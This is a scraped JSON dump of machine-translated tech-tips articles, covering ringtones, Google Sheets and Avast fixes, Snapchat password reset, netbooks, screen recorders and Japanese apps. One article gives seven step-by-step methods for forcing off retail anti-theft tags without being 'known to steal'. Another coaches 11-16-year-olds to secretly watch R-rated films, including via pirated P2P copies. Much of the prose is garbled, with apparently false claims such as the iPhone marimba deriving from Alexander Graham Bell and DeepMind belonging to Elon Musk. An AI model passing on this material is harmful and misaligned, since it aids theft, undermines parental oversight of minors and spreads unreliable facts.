article if you are anxious to listen.\nWatch the world's first \"X-box\" iPhone X video\nExclusive ringtones for iPhone X Apple did not say a word about the new ringtone on the iPhone X, but the company is famous for choosing sounds with stories hidden behind them.\nThe first marimba ringtone used on the iPhone comes from the sound of Alexander Graham Bell, with the complex research of Apple and scientists to determine if the sound is capable of allowing the brain to read it as a warning or not.\nThe same approach applies to Reflection on iPhone X, but at the moment people are much interested in new features on the iPhone, TrueDepth camera, Face ID, slotted screen (rabbit ears), part New software is more than this new ringtone sound.\nOne thing you need to know is that even though Reflection is available in iOS 11.1, only iPhone X has received Reflection, it is likely that Apple wants to use it as a feature to celebrate the launch of the iPhone 10 years ago, making it it is more prominent than other iPhone models.\nListen to iPhone X ringtone You can download iPhone X ringtones by clicking on the link on this Reddit topic: https://www.reddit.com/r/apple/comments/7a51ol/exclusive_iphone_x_ringtone_reflection or watching how to download music from YouTube videos to download ringtones iPhone X from the video above: How to download MP3s from YouTube videos without software, good quality\nIt is very likely that Apple will ask to delete this ringtone because users have downloaded the ringtone to install on their device. Some people have quickly saved to their personal Dropbox. So if you like, please download it quickly.\nSee more:\nCompare camera iPhone X and all other iPhone Top 5 best free ringtone download websites ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdqbWmec6fnaKbmZa5brXPoaannV2terOxxaWcnKyZpLtuvsinnq2nnpp6p77OpmSaqKChsg%3D%3D\n","link":"/post/download-the-official-iphone-x-reflection-ringtone-from-apple/","section":"post","tags":null,"title":"Download the official iPhone X Reflection ringtone from Apple"},{"body":"Similar to other applications like Google Docs, Google Sheets also allows users to collaborate on spreadsheets in real time. Error Google Sheets does not allow editing spreadsheets, does not allow users to enter text, formulas in real time is one of the common errors that users often encounter. There are many causes of this error.\nHow to Fix Google Sheets not allowing spreadsheet editing Method 1: Fix basic Google Sheets errors The easiest way to fix Google Sheets not allowing spreadsheet editing and other common sheet errors is to try disabling and reopening the browser to reload the page. There is also another temporary fix is ​​to restart the computer.\nIf the error still persists, please refer to some next fixes below.\nMethod 2: Use the Google Sheets app on your phone In case if none of the above works, try using the Google Sheets app on your phone and enter text, edit the spreadsheet and check if the error persists.\nAlso you can use Sheets on other browsers like Firefox, Edge, Chrome and see if the same error still exists.\nMethod 3: Copy into a new Google Sheets file Assuming the above methods don't work, try opening a new Google Sheets file and copying the contents of the corrupted file, preventing editing the spreadsheet to see if it helps.\nAll you need to do is type \"sheets.new\" into your browser's address bar and press Enter to open the new file. The next step is to copy the contents of the corrupted file and paste it into the new file. If the error persists, it's probably because the file owner has set view-only permissions and doesn't allow you to edit.\n  Method 4: Use Google Sheets Offline Sometimes the network connection that you are using is unstable or too slow can be the cause of Google Sheets errors. To fix the error, the ideal solution in this case is to use Google Sheets Offline, offline.\nTo do this, first visit the Google Sheets homepage, where you find and click on the 3-line dashed icon in the top left corner of the screen as shown below:\n  On the window displayed on the screen, select Settings.\n  At this point, the Settings window will appear, where you can find and click the slider next to the Offline option to activate it.\n  When offline, all changes you make to your Google Sheets spreadsheet will be saved on your computer and synced when connected to the Internet.\nMethod 5: Sign in your Google account To be able to edit or import documents and documents in Google Sheets, Docs and Slides requires you to sign in with your Google account before.\nBy clicking on the View only button, which is an eye-shaped icon as shown below, and if the screen displays a message asking you to login to your Google account, proceed to login and see the error. Google Sheets didn't even.\nMethod 6: Request permission to edit One note is that if the owner of the Google Sheets file gives you permission to view only, it means that you can only view the file and not make other modifications or changes.\nIf you make corrections, an error message will appear on the screen. In this case, the only way is to ask the owner to grant you editing permission. To do this, click the View Only button and ask for editing permissions.\n  Method 7: Clear data and browser cache App data and cache files can also be the cause of Google Sheets failure to edit spreadsheets. To fix the error, it is ideal to clear the browser cache and data.\nNote: This way will delete all your browsing data as well as sign out all your browser accounts.\nFollow the steps below:\nFirst, on the Chrome browser window, find and click the 3-dot icon in the top right corner of the screen, and select Settings.\n  In the Privacy and security section, find and click Clear browsing data.\n  On the screen that appears on the screen, in the Advanced tab, find and check the box next to the Cookies and other site data and Cached images and files options.\nAlso in the Time range section, select All time and then click the Clear data button to clear all browsing data.\n  Once the process is complete, sign in to your Google account again and try opening Google Sheets again to see if the edit is made.\nSign back in to your Google account and open the Sheets file. Does the worksheet let you import or edit it now?\nGood luck.\nFix Google Sheets Google Sheets ncG1vNJzZmismaXArq3KnmWcp51ks6rEjKCmqJ%2Bcmnq0tMSeq6xlnqTBbq3LpaawoZ6cerS80Z6YnauYmrK1ecSdoK2hnpw%3D\n","link":"/post/fix-google-sheets-not-allowing-spreadsheet-editing/","section":"post","tags":null,"title":"Fix Google Sheets not allowing spreadsheet editing"},{"body":"Avast is an antivirus software that is currently trusted by many people because of its powerful features, Vietnamese support, software update support and many other features. But Avast is not perfect like that, sometimes the software will delete your wrong data file. So how to recover, recover files when Avast deleted by mistake? Let's follow the article below of TipsMake.com to know how to do it!\n  Step 1 : You open antivirus software Avast .\nStep 2 : Then you select the item Protection (1) -\u0026gt; Select Continue Virus Storage (2) .\n  Step 3 : Here will display all the files that are suspected of threatening your computer. In case if the software misidentifies you can click on the dot at the bottom of the file and select Restore and add exceptions .\n  Then your files will be restored and they will not be later identified by Avast for subsequent virus scans.\nOr if the wrong identification list is too long, containing many folders you can select at the top of the files (1) -\u0026gt; Select the extension (the icon 3 dots) (2) -\u0026gt; Then select Restore and add exception (3) .\n  Above are instructions on how to recover files and files that were accidentally deleted by Avast. Hopefully this article will be of much help to you guys. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmnaKklah6orrDZpuarJFisaa4xK2cnWWSrnqiwsCsq2aaqWK6qr%2FTmqKe\n","link":"/post/how-to-recover-files-and-data-deleted-by-avast-by-mistake/","section":"post","tags":null,"title":"How to recover files and data deleted by Avast by mistake"},{"body":"Today, most of the fashion stores, supermarkets have anti-theft chips on clothes to prevent frauds from taking advantage of, stealing products. After payment, you will be removed by the cashier with the chip removal machine attached under the cashier table. The machine that removes the chip from the clothes is thanks to the magnet inside. Magnets will attract iron nails so you can easily pull out of clothes. However, there are times when negligent employees forget to remove chips on your clothes. When I came home, it was too late, at this point, how could I remove this chip from my clothes so that my clothes would not be torn and not known to steal the product?\nIf you are in this situation, don't worry Network administrators will help you with this. Hope they will help you. Let's work together.\n1. Use rubber band Step 1 : First, put the cartridge of the anti-theft stamp face up on the table.\n  Step 2 : You need to pull this anti-theft chip away from your clothes as much as possible.\n  Step 3 : Use a elastic band, big size belt, firm and long enough, then wrap around the latch of the anti-theft chip.\n  Step 4 : One hand holds the large part of the cartridge, the other hand uses force to pull the pin out. In this case, if a elastic band is not enough to loosen the chip, you can use more.\n  2. Use a screwdriver Step 1 : Put the anti-theft chip firmly on the floor and point the top face up.\n  Step 2 : Use a very thin screwdriver and place it parallel to the pyramid shaped block.\n  Step 3 : Press the screwdriver head with the force to penetrate the plastic and slowly push it up.\n  Step 4 : After the pyramid of the chip has opened, now you just need to remove the metal silver pad underneath.\n  Step 5 : Now there will be a latch with a snail up, you just need to get it done.\n  3. Freeze security stamps If you can not do the above, you give pants, shirt with chips in the freezer to perform the removal of security stamps is also a suggestion for you. Proceed as follows:\nStep 1 : Put clothes in the freezer compartment and leave it overnight, for as long as possible.\n  Step 2 : Now you can use elastic band or hand to remove the security stamp without fear of being stained with ink in the stamp because they are frozen.\n  4. Using force and ingenuity Step 1 : Gently pull the security stamp out of the clothes about ten times, until the safety pin is loosened slightly.\n  Step 2 : Use a large nail. Nails must be larger than security stamps and about one coin wide.\n  Step 3 : Pull the security stamp away from the clothes. Place the plastic part of the security stamp on the side.\n  Step 4 : Use a hammer and close the nail to the cartridge until the chip bursts.\n  Note : When you close you should not use too strong force, this method needs perseverance, you can repeat the action many times until the stamp falls off or the security stamp will break, you will be friends with it for life.\n5. Use pointed nose pliers Step 1 : Put the security stamp so that the cartridge is facing up\n  Step 2 : Use two pliers to grip the corresponding ends of security stamps\n  Step 3 : At this time, you bend the two ends of the security stamp on the pliers, note so gently break, avoid breaking the ink stamp on the clothes.\n  Step 4 : When you bend the security stamp, the pin in the stamp will fall out so you can remove the stamp easily.\n6. If light is not optimal, you must apply strong methods Many modern stamps will have electromagnets instead of cartridges; When you open it, you will find that there is no ink inside.\nStep 1 : You need to prepare something to insert in the middle of the security key to create a space for the stamp.\n  Step 2 : Use the force gently to break the security pin up and down continuously for many times until the latch expands from the card.\n  Step 3 : Now you can easily remove the latch.\n  7. Use high temperature Step 1 : First you need to prepare a lighter and a small piece of paper, then wrap that piece of paper and burn the tip of the stamp.\n  Step 2 : After you have burned the end of the stamp, you use a sharp knife or something to cut deep into the bottom of the stamp, now you just need to push the nail out of the stamp is finished.\n  Note:\nThis method is only used when the employee forgets to remove it for you and you cannot return there. The above methods are used for rectangular cards and spiral security latches. Hope the above article is useful for you in life!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYytn55lo566sbjErKtmmZ6ptrW0xJ%2BrZpucpMGpsdJmmK1lmKS6pg%3D%3D\n","link":"/post/how-to-remove-the-simplest-anti-theft-clothes-at-home/","section":"post","tags":null,"title":"How to remove the simplest anti-theft clothes at home"},{"body":"With a rainbow or an interesting effect, Snapchat has created a new wave in the community of people using chat, messaging, social networking applications. While there are not as many feature options as Facebook, Snapchat scores points with a variety of effects, a unique filter that we introduced in the article on how to use Snpchat effects.\nOr many other hidden features on Snapchat will bring comfortable leisure time for everyone. Normally after signing up for a Snapchat account, you have a habit of saving your password for later login. However, it is because of this that causes many problems such as unfortunately you forgot your password, or in case anyone is curious about your Snapchat account. So follow the network administrator's post to reset the Snapchat password.\n1. How to retrieve Snapchat password on iOS, Android: We can reset the Snapchat password on the phone using the registered phone number or email account\nReset password via phone number: Step 1:\nYou log into your Snapchat account on your phone . At the login interface, click Forgot your password .\n  Step 2:\nSoon, Snapchat will give us 2 ways to recover the password .\nRestore by phone. Restore via registered email address. We will choose to restore by phone, click via Phone . The app will identify users with Snapchat's unbelievable question, picking up images with the Snapchat ghost icon. After selecting, click Continue below.\n   Step 3:\nThe screen for entering a phone number appears. If you register an account at the beginning you have a phone number, you can skip this step. If not, just enter the phone number and click Continue to finish.\nThe application will ask you how to get the verification code:\nSend code by SMS. Make a call to receive the code. Here we choose to receive the code by message . The message will be sent back to you shortly after. Enter the verification code and can change it to another password depending on the user.\n   Reset password via email account: Step 1:\nYou will also select the Forgot your password entry, but will choose via Email . Soon we will be moved to the new interface. Choose I'm not a robot .\n   Step 2:\nAppear verification question. Select options according to the question and click Verify . Next fill in the email account registration and select Submit .\n   Step 3:\nYou login to your Snapchat registration email account . Click on the blue link and access.\n  Step 4:\nIn the next interface, you just need to enter a new password and click Change Password .\n  2. How to reset Snapchat password on the computer: Step 1: First, visit the link to reset the Snapchat password on the web below.\nhttps://accounts.snapchat.com/accounts/password_reset_request\nStep 2: At this interface, we will enter the registration email account Snapchat , check box I'm not a robot . Click on Submit .\n  Step 3: We also check out the Snapchat registration email account. Click on the blue link and appear the interface to change the new password.Enter a new password and select Change Password to save the new password.\n  Thus, we have instructed you to complete the way and step by step the Snapchat password reset details on the phone and the web. Step by step simple operation so you will perform very quickly.\nRefer to the following articles: If your Zalo password is lost, try this! The fastest way to log out of Facebook Messenger 5 ways to make free calls from computer to phone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLK1ec%2Baqqyvn6exbr%2FNmqecoJGperGt0qyuqKqUYryvec%2BhpqedXZa7pXnCqKSpraSavw%3D%3D\n","link":"/post/how-to-reset-password-snapchat-password-on-phone-and-computer/","section":"post","tags":null,"title":"How to reset password, Snapchat password on phone and computer"},{"body":"Usually when you click to copy a file or text link that accidentally performs another copy operation, the first copy command will disappear by default. Thus users are forced to re-copy the link, or the first file. If the link or content is short, you can copy it to Notepad to save it, but what about the file?\nClipboard Master will save all files, from text, image, video, . any file to Clipboard to quickly select when to paste. That is, the software has the ability to remember multiple copy commands at the same time. Besides, the Clipboard Master also provides a special list of online accounts for quick login. The following article will guide you how to use the Clipboard Master to speed up copy paste on Windows.\nHow to use TeraCopy to speed up file copying How to speed up the process of copying and moving data on USB drives Speed ​​up copying data with Ultra Copier 1. Instructions to install Clipboard Master on Windows Step 1:\nClick on the link below to download the Clipboard Master software to your computer and proceed with the installation. In the first interface, click the Next button to continue.\nDownload the Clipboard Master software   Step 2:\nFinally, simply click Install to complete the software installation process.\n  Step 3:\nThe software will automatically open a window with initial features settings. Click Default to use the default settings, select Next at the bottom.\n  Step 4:\nNext, the user will be given the shortcut key for the Clipboard table (table for storing data operations). Enter the shortcut to use it for convenience and click Next.\n  Step 5:\nThis new interface will be an advanced feature when copying text, retaining textual layouts and formats such as italic and bold writing. Depending on the user needs we want to use or not. Click Next.\n  Step 6:\nSwitching to the new interface will quickly select different text formatting features. We can press Ctrl + Menu to activate. Menu key is the key located next to the Ctrl key to the right of the Space button, and click Next.\n  The last setting will be used for calculations, can write calculations anywhere like in Notepad, Word, . Click Next to complete the setup process.\n  2. How to use Clipboard Master on Windows When successfully installing the Clipboard Master icon will appear under the system tray. When you right-click on the icon you will see the tool interface with the main features of the software. There will be some features that we often use.\n  1. Clipboard function\nLaunched with the shortcut you set. The feature will display all the data that you copied.\n  The software will save the data even if we turn off the computer so we can only delete it if we don't want to save something. Click the Clipboard button on the screen interface, then select Show complete list / edit items . Click on the line you want to delete and press the Del key or right-click and choose Delete.\n  2. Function Fixed Clipboard\nThis feature will change the data name that the user copied in Clipboard. Right-click the software icon under the system tray and select Create new item . Then copy the data you want to change the name into the box below.\n  3. Tools\nIn the Tools section, users will have some useful features such as taking a screenshot, accessing the virtual keyboard, zooming the screen, saving the Windows operation, . Just press the functions to use is done.\n  In general, the Clipboard Master is used in case we need to perform multiple copy operations without fear of losing content, or mistaking content. Other functions will further support the feature to save files to the Clipboard.\nSee more:\n12 tools to support faster copy process in Windows environment Textify tool copies all content on Windows Summary of tips to fix slow computer errors on Windows I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmmqWhoJe8or7DZqSaq6Sav27Azmaqmq6VYrOquMSsZJqmlGKxsK%2FUppynrKNiwbB506GcZpucnr2ju8Crmw%3D%3D\n","link":"/post/how-to-use-the-clipboard-master-to-save-files-and-documents-to-the-clipboard/","section":"post","tags":null,"title":"How to use the Clipboard Master to save files and documents to the Clipboard"},{"body":" So you've been reading about this movie that came out several years ago that sounds really intriguing. The problem? It's rated R, you're 11-16, and your parents are super strict about what you see in movies. You know that you're mature...\nMethod 1of 6:\nGetting It on iTunes  Open up an iTunes account (if you don't already have one) with your own email address. (iTunes sends an email to whatever email address you sign up with whenever you download something, so if you sign up using your parent's, they will know if you buy/rent a movie they don't want you watching.) If your parents don't let you buy stuff using their credit card(s), you can use your own money to buy an iTunes gift card and sign up with that.\n  Find the movie that you want to see on iTunes and either buy or rent it. Buying a movie costs $9.99, renting a movie costs $2.99. Renting is probably a safer option if your parents check your computer because it costs less and automatically deletes itself 24 hours after you watch it.\n  Enjoy your movie!\n Method 2of 6:\nWatching It on YouTube  Go to YouTube.\n  Type in (insert movie you want to see) part 1.\n  If YouTube has it, watch it.\n Method 3of 6:\nGetting It at the Library  If there is a library that has DVDs/Blu-rays near you, bike, walk, or drive (if you're old enough to have your license) to it.\n  See if it has the movie you want to see.\n  If it does, check it out, hide it, watch it when your parents aren't home, and return it.\n Method 4of 6:\nAsk a Friend  If you have a friend who has an extensive DVD collection, ask him/her if they have the movie you want to see.\n  If yes, ask to borrow it.\n  Have them bring the DVD/Blu-ray with them the next time they come over or have them give it to you at school.\n  Watch it when your parents aren't home and return it to your friend.\n Method 5of 6:\nP2P  Go to a popular P2P site and see if someone has uploaded the movie you want to see.\n  If they do, watch it.\n  Please note that this method is very risky, as your computer could contract a virus, as well as it being illegal.\n Method 6of 6:\nWatching It on TV  Look up your movie in a TV guide to see if it's playing any time soon. There are many channels that play uncensored movies all day (i.e. HBO, Starz, Encore), as well as channels that occasionally play uncensored movies at night (such as TCM).\n  Make sure your parents aren't around and watch it.\n  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpecBmpKiumZp6urvUq2SpmaKau7W%2FjJ2mp6xdrK6vwIyypq5lpKR6tLHE\n","link":"/post/how-to-watch-a-movie-your-parents-don-t-want-you-to-see/","section":"post","tags":null,"title":"How to Watch a Movie Your Parents Don't Want You to See"},{"body":"Apple has recently made a clear statement of successful \"sales\" with another leading artificial intelligence researcher of rival Google and observers, this is really a heavy hit. Cupertino company on the battlefield of artificial intelligence in general, and in the battle of 'wrestling' talents of this field in particular.\n  Apple acquired an important patent from AI security camera manufacturer If you are interested in technology, you probably know that AI - artificial intelligence will be one of the leading kernels in the development of technology in the future. And to take advantage now, the giants of the contemporary technology world such as Apple, Google, Microsoft or Facebook, of course, cannot slow down in recruiting talent. Among the technology companies, Apple seems to be the most \"honest\", but when it is decided, they are often the ones who release the best quality contracts, and this time \"night\" mission with AI Ian Goodfellow engineer.\nIan Goodfellow is one of the most prominent names in the contemporary artificial intelligence world with a record of achievement during his time at the world's two leading AI laboratories, now Google's and DeepAI's Deepmind. billionaire Elon Musk. According to the first report of CNBC news site, Ian Goodfellow recently updated his LinkedIn profile and there is a noticeable change, which is that this genius AI engineer is currently working at Apple as the director responsible for machine learning of the Special Projects group of Apples was missing.\n  Apple bought AI startup with ambition to dominate the Alexa and Google Assistant applications market? This is not the first time Apple has considered Google as its own AI talent nursery. Earlier in April 2018, the giant Cupertino also successfully recruited Google's head of AI, and also the former boss of Ian Goodfellow, engineer John Giannandrea, returning to his team.\nAI is an important area for big ambitious technology companies, and the search for researchers can promote the general development of artificial intelligence-related projects and products. is a big challenge for even the top businesses. In the eyes of many people, Google is often considered the world's leading company in research and development of artificial intelligence, but in fact Apple is also \"very hard\" to apply this technology on many products. At the same time, it uses AI as the foundation and driving force for the company's overall development in many different areas, from secure face recognition to mobile photography. In addition, Apple is also promoting the development of autonomous autonomous systems - a project that requires the participation of the world's leading AI engineers.\n  MIT AI model can capture the relationship between objects with the minimum amount of training data Returning to Apple's cult business, at the age of 34, Ian Goodfellow is still young to become an influential AI researcher in this potential field. That assertion is not completely unfounded when this young engineer once became famous worldwide when inventing an AI system called generative adversarial network (GAN). with many great advantages.\nGAN is a two-part network, formed on the idea of ​​competition of two neural network networks, including: Discriminative network is responsible for trying to distinguish between real data and fake data. . The second is Generative network, which is responsible for creating fake data, with the goal of how to generate the most similar data, making the network distinguishable indistinguishable. The sample data will be generated based on latent code.\n  The 'Nobel technology' award is awarded to AI-teaching software as human This may sound abstract, just because most of us are not real artificial intelligence experts, but just know that GAN has been proven to be a small AI system that can be effective. Great productivity. This model is particularly good at creating images, video, audio and fake text. As you can see in the image above, it is the faces that GAN automatically creates, which absolutely do not exist in the real world. And it is GAN that can turn your doodles into 'fine art pieces'.\nOf course that doesn't mean that Apple recruited Ian Goodfellow because they had a special interest in creating fake portraits or landscapes, but it showed the achievements of this 34-year-old AI engineer. It was really influential as well as shaped the contemporary AI field, and that was what convinced the hard-core shareholders in Cupertino. Ian Goodfellow is certainly a talent that any technology enterprise in the world wants to own. Can this genius engineer write the successful pages in the world's most expensive company? Let's wait and see!\nncG1vNJzZmismaXArq3KnmWcp51ktqK6jKCmqJyWmrmtu9Zmnqinl6GytHnLnpidoZ6ceqK1jJ6vqZ2iqXqprdJmoa6rpGK%2FpsDUq6WenF2pvG7Ax55krZ2Ronqwsoyap6mklag%3D\n","link":"/post/ian-goodfellow-google-s-leading-ai-expert-has-just-returned-to-the-team-of-apples/","section":"post","tags":null,"title":"Ian Goodfellow - Google's leading AI expert has just 'returned to the team' of Apples"},{"body":"The following article introduces you to how to insert and edit charts in Word.\nStep 1: Go to the Insert tab -\u0026gt; illustration -\u0026gt; Chart:\n  Step 2: The Insert Chart dialog box appears, select the type of chart you want to draw -\u0026gt; click OK:\n  Step 3: Enter data for the data sheet used to draw the chart, you can customize the data fields:\n  Step 4: After entering data, the chart has been drawn, editing the title for the chart:\n  Step 5: Click on the chart, select Design -\u0026gt; Quick Styles to quickly select the styles for the chart:\n  Step 6: Or click on Type -\u0026gt; Change Chart Type to change the chart type:\n  Step 7: A dialog box appears -\u0026gt; select the type of chart you want to replace -\u0026gt; click OK:\n  Step 8: Change the color for the chart -\u0026gt; click Change Color -\u0026gt; select the color you want to change:\n  In addition, you can edit the chart using the available tool:\n- Click on the chart -\u0026gt; select the Chart Element icon -\u0026gt; select the elements that you want to display more on the chart, for example, select Data Labels -\u0026gt; numeric values ​​displayed on the columns:\n  - Click the Style icon to re-select the style and color for the chart:\n  - The results have been plotted showing figures:\n  The above is a detailed guide on how to insert and edit charts in Word.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2FxKurZpmemXqmsMitZJygkafBtHnIp2Swp6KZ\n","link":"/post/insert-and-edit-charts-in-word/","section":"post","tags":null,"title":"Insert and edit charts in Word"},{"body":"The first 701 4G Eee PC system was introduced by Asus in October 2007 for $ 399. After a full year, the netbook series not only became cheap but also equipped with more powerful features.\n  Acer Aspire One with Linux operating system, 3 cell battery: 8.9 inch screen, Intel Atom CPU 1.6 GHz, 512 MB RAM and 8 GB SSD solid-state storage drive. This is one of the cheapest laptops that has a resolution of 1024 x 600 pixels. Price: 326 USD and in Vietnam is 8.6 million.\n  Acer Aspire One with Windows XP, 3 cell battery: This version of Asprire One is more expensive but has 1 GB RAM and 120 GB hard drive. Price: 379 USD.\n  Acer Aspire One with Windows XP, 6-cell battery: The design is no different from the above 2 versions except the equipped with a 160 GB hard drive and nearly double battery life. Price: 399.95 USD.\n  HP Mini-Note with SUSE Linux operating system: US computer company is continuing to reduce the price of 2133 Mini-Note products. With $ 366.99, users will own a system with 4 GB SSD, 1 GB VIA C7-M chip, 8.9 inch screen with 1,280 x 768 pixel resolution and a comfortable keyboard.\n  Sylvania G Meso: 1024 x 600 pixel 8.9 inch screen, 1.6 GHz Intel Atom chip, 1 GB RAM and 80 GB hard drive. Products are available in black, white, yellow and pink. Price: 369.99 USD.\n  Dell Inspiron Mini 9: Dell released two versions under 400 USD, of which 349 USD system uses 4 GB flash memory, 512 MB RAM, 8.9 inch 1024 x 600 pixel screen and runs on Ubuntu 8.04 Linux . Investing an additional $ 50, users will have a Mini 9 with an 8 GB SSD and Windows XP operating system.\n  Lenovo IdeaPad S10: 10.2 inch screen, Intel Atom 1.6 GHz, 512 MB RAM, 80 GB hard drive and 3 cell battery. This computer has a 'professional' look, which looks a lot like a regular laptop. The white version costs $ 399 and the red version costs more than $ 30.\n  MSI Wind U100: This is one of the most popular netbooks in the US with 10.2-inch screen, Intel Atom 1.6 GHz, 1 GB RAM and 120 GB hard drive. Price: 399 USD.\nSome versions of Asus Eee PC on the market: Eee PC 900 : 1,024 x 600 pixel 8.9 inch screen, 1 GB RAM, 16 GB SSD drive, Intel Celeron chip 900 MHz and works on Linux or XP. Price: 335 USD. Eee PC 900A : This version is basically the same as the 900 system but uses Atom 1.6 GHz. Price: USD 299.99. Eee PC 900HA : Just a few extra dollars, you'll have a netbook with a 160 GB hard drive, an operating system with Windows XP Home Edition and an Atom chip. Price: USD 349.99. Eee PC 904HA : 8.9-inch screen, Atom chip, 160 GB hard drive, Windows XP operating system with a large keyboard. Price: 390 USD. Eee PC 1000HD : 1024 x 600 pixel 10.2 inch screen, 80 GB hard drive, 1 GB RAM, 900 MHz Intel Celeron CPU and runs on Xandros Linux. Price: 399 USD.\nncG1vNJzZmismaXArq3KnmWcp51kuqq6yGajmqikpL20edSnm56qXWl9cXnHmq2eZaSdsm60yKCfnqukYrCwusWinq6qkam2sLo%3D\n","link":"/post/mini-laptops-under-400-have-the-highest-configuration/","section":"post","tags":null,"title":"Mini laptops under $ 400 have the highest configuration"},{"body":"Taking an Android phone screen shot is quite easy and almost everyone knows, but recording a screen video is not that simple. When you want to make tutorial videos on your phone or record video games, you will definitely need to record screen videos. The following article TipsMake.com will introduce to you the top 5 best screen recording software available today for you to freely choose, invite you to refer.\n  1. Mobizen software Download link: https://play.google.com/store/apps/details?id=com.rsupport.mvagent\u0026amp;hl=en\n  Referring to the screen recording software, I must mention the Mobizen software first. This software has more than 10 million downloads in the CH Play app store to see how good the software is. Mobizen supports us to shoot full HD screen vidoe, besides it also allows us to edit, cut, insert effects for videos after recording, which not all software has.\n2. AZ Screen Recorder software Download link: https://play.google.com/store/apps/details?id=com.hecorat.screenrecorder.free\n  AZ Screen Recorder is the most comprehensive set of features available today. The application allows you to return to the screen in HD, Full HD mode and a great feature is that you have to pause and resume video recording. With the premium version, you will have many more interesting features such as: magic button to control recording, facecam (record your face), convert videos into GIF format, trim videos , draw on the screen while recording, etc. It will be very convenient for you to create instructional videos, promotional videos, comment on games (review videos) or record video chats.\n3. DU Recorder software Download link: https://play.google.com/store/apps/details?id=com.duapps.recorder\n  DU Recorder is a free, pretty good screen recorder nowadays that helps you record smooth and clear screen videos with high frame rate. DU Recorder is equipped with many great free features such as: choose multiple resolutions, multiple frame rates and playback speeds, support high-quality HD video output, support video recording with the secondary camera in front of the screen. , can hide control window for full screen video recording and video editing with collage tool. In addition to video screen recording, DU Recorder also integrates screen capture with one-touch operation.\n4. ADV Screen Recorder Download link: https://play.google.com/store/apps/details?id=com.blogspot.byterevapps.lollipopscreenrecorder\n  DV Screen Recorder also possesses the same features as other screen recording applications. However, the most outstanding feature of this application is that it allows users to insert images and text while recording video. This is a useful tool for those who make video tutorials and also how to protect image copyright for those who produce content on Youtube. This software also supports video recording with Full HD resolution and high frame rate so our videos will not be smudged or jerky.\n5. REC software Download link: https://play.google.com/store/apps/details?id=com.spectrl.rec\n  Rec is an application that helps you return to activities on the screen with a beautiful interface and easy customization capabilities such as supporting frame settings, recording speed, changing video storage folder . REC Screen Recorder can handle screen and sound within an hour, it will return to the screen and record via the built-in microphone in the phone. The free version of Rec allows users to record videos up to 5 minutes long and allows audio recordings of up to 30 seconds. Rec is designed to be minimalistic and easy to understand so you will not take too much time to learn how to use this software.\nAbove TipsMake.com has introduced to you the top 5 best mobile phone screen recording software for Android today. Thank you for following the article.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqiusOrpqKcXaiws7HEp2SrnZOkv6W1zaBkmqigqHpzfJFp\n","link":"/post/top-5-best-android-screen-recording-apps-2020/","section":"post","tags":null,"title":"Top 5 best Android screen recording apps 2020"},{"body":"Japanese is a very popular language in today's integration period, especially for those wishing to study abroad in Japan or travel. Japanese has long been regarded as a difficult language to learn with difficult-to-remember and difficult-to-read fonts. However, if you are determined and persistent, you can study Japanese at home easily. In this article, Software Tips will introduce you to the Top 5 best Japanese language learning software for beginners.\n  1. JPNET IOS link: https://itunes.apple.com/us/app/jpanet/id1333474000?ls=1\u0026amp;mt=8\nAndroid link: https://play.google.com/store/apps/details?id=com.vn.japannet\nJPNET was developed in recent years with the goal of helping Vietnamese users to access Japanese more simply and effectively. Developing in the direction of a forum with suggestions from many users, being able to freely exchange knowledge, thoughts, exercises, . makes JPNET more and more developed and rich in resources. And there are many friends who accompany you in the learning process to create a rewarding and interesting playground. With this way of software development, the 'teacher-less-friend study' is applied to make you more attractive and the amount of knowledge is certainly a lot. Free software, you are free to use.\n  2. Jdict IOS link: https://itunes.apple.com/en/app/jdict-tu-ien-nhat-viet-viet/id751655909?l=en\u0026amp;mt=8\nAndroid link: https://play.google.com/store/apps/details?id=info.hoang8f.jdict\nJdict is an application developed to help readers can recognize the letters and meanings of Kanji, including Sino-Vietnamese words and writing. Jdict interface is smartly customized to help readers easily use. You can search for keywords by image, romaji or by voice. With an abundance of data stores, Jdict doesn't lack anything for you. Jdict helps you equip yourself with the way of writing, reading, and meaning of words to help you feel more confident with exercises or daily communication. If you persevere with Jdict, your journey to Japanese will soon be successful.\n  3. Learn Japanese IOS link: https://itunes.apple.com/en/app/learn-japanese/id972910242?l=en\u0026amp;mt=8\nAndroid link: https://play.google.com/store/apps/details?id=sun_group.japanese_learn\nSoftware built vocabulary system known by kanji, hiragana or katakana, grammar presented accurately, easy to understand. The kanji is broken down into sets that make it easier to remember and understand. In addition, you can learn how to communicate like a native Japanese through video on-line communication lessons. The system will record your voice and compare with the original video to check for accuracy. With this method, you will practice speaking, pronunciation and intonation in sentences. Mastering this type of communication will help you feel confident when speaking with native speakers. Learn Japanese will help you see that Japanese is not as difficult as people say.\n  4. Fun Easy Learn IOS link: https://itunes.apple.com/en/app/6000-t%E1%BB%AB-h%E1%BB%8Dc-ti%E1%BA%BFng-anh-v%E1%BB % 9Bi-fun-easy-learn / id923280720? L = vi \u0026amp; mt = 8\nAndroid link: https://play.google.com/store/apps/details?id=com.funeasylearn.japanese\nFun Easy Learn is the most innovative and unique Japanese learning software today. With a vocabulary of up to 6000 words will help you enough words to use in life. With the way to study with pictures, Fun Easy Learn makes you feel very comfortable and attractive. Accompanied by games, Japanese traditions to help you get acquainted with Japanese art and culture. Unfortunately, this software does not support communication but only vocabulary, structure, .\n  5. Learning Japanese communication (VC Apps Vietnam) IOS link: https://itunes.apple.com/en/app/h%E1%BB%8Dc-ti%E1%BA%BFng-nh%E1%BA%ADt-giao-ti%E1%BA%BFp / id913437330\nAndroid link: https://play.google.com/store/apps/details?id=com.thonvy.japanesevietnamese\nLearning Japanese communication is created and developed by Vietnamese developers, focusing on helping students learn to communicate for international students or wishing to communicate with Japanese people. With topics in life, ranging from family, daily life to conferences, meetings, . Learning Japanese communication will help you speak fluently, enough vocabulary to use. With friendly interface, beautiful, clear gives you moments of comfort when studying. You can also do more of your communication to share with others to comment or learn from.\n  Above is the Top 5 best Japanese learning software for beginners on Smartphone selected by the Software Tips. Have a nice 